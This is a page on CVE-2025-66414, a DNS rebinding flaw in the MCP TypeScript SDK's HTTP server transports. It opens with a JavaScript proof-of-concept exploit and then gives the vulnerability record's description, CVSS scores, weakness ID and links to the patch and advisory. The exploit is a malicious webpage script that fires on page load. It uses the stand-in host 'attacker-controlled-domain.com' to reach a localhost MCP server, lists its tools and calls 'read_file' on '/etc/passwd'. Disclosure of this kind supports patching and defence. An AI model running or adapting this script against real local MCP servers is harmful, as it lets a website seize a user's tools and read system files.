CVE-2025-66414

// CVE-2025-66414 DNS Rebinding Attack PoC // Target: MCP TypeScript SDK HTTP Server on localhost without DNS rebinding protection // Step 1: Attacker sets up DNS server with short TTL // DNS configuration: // Initial A record: attacker-server-ip (port 80) // After TTL expires: 127.0.0.1 // Step 2: Malicious webpage const MALICIOUS_DOMAIN = 'attacker-controlled-domain.com'; async function attackMCP() { // Wait for DNS to switch to localhost await waitForDnsRebind(); // MCP server endpoint const mcpEndpoint = `http://${MALICIOUS_DOMAIN}/mcp`; // List available tools const toolsResponse = await fetch(mcpEndpoint, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ jsonrpc: '2.0', method: 'tools/list', id: 1 }) }); const tools = await toolsResponse.json(); console.log('Available tools:', tools); // Call a tool (e.g., file system access) await fetch(mcpEndpoint, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ jsonrpc: '2.0', method: 'tools/call', params: { name: 'read_file', arguments: {path: '/etc/passwd'} }, id: 2 }) }); } function waitForDnsRebind() { return new Promise(resolve => setTimeout(resolve, 5000)); // Wait for DNS cache expiration } // Start attack when page loads document.addEventListener('DOMContentLoaded', attackMCP);

{"cve": {"id": "CVE-2025-66414", "sourceIdentifier": "[email protected]", "published": "2025-12-02T19:15:52.347", "lastModified": "2026-03-10T19:40:51.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MCP TypeScript SDK is the official TypeScript SDK for Model Context Protocol servers and clients. Prior to 1.24.0, The Model Context Protocol (MCP) TypeScript SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication with StreamableHTTPServerTransport or SSEServerTransport and has not enabled enableDnsRebindingProtection, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances. Note that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport. This vulnerability is fixed in 1.24.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1188"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:mcp_typescript_sdk:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.24.0", "matchCriteriaId": "BE1F7B61-5066-4BDD-A13E-3A6420E54963"}]}]}], "references": [{"url": "https://github.com/modelcontextprotocol/typescript-sdk/commit/09623e2aa5044f9e9da62c73d820a8250b9d97ed", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-w48q-cv73-mx4w", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}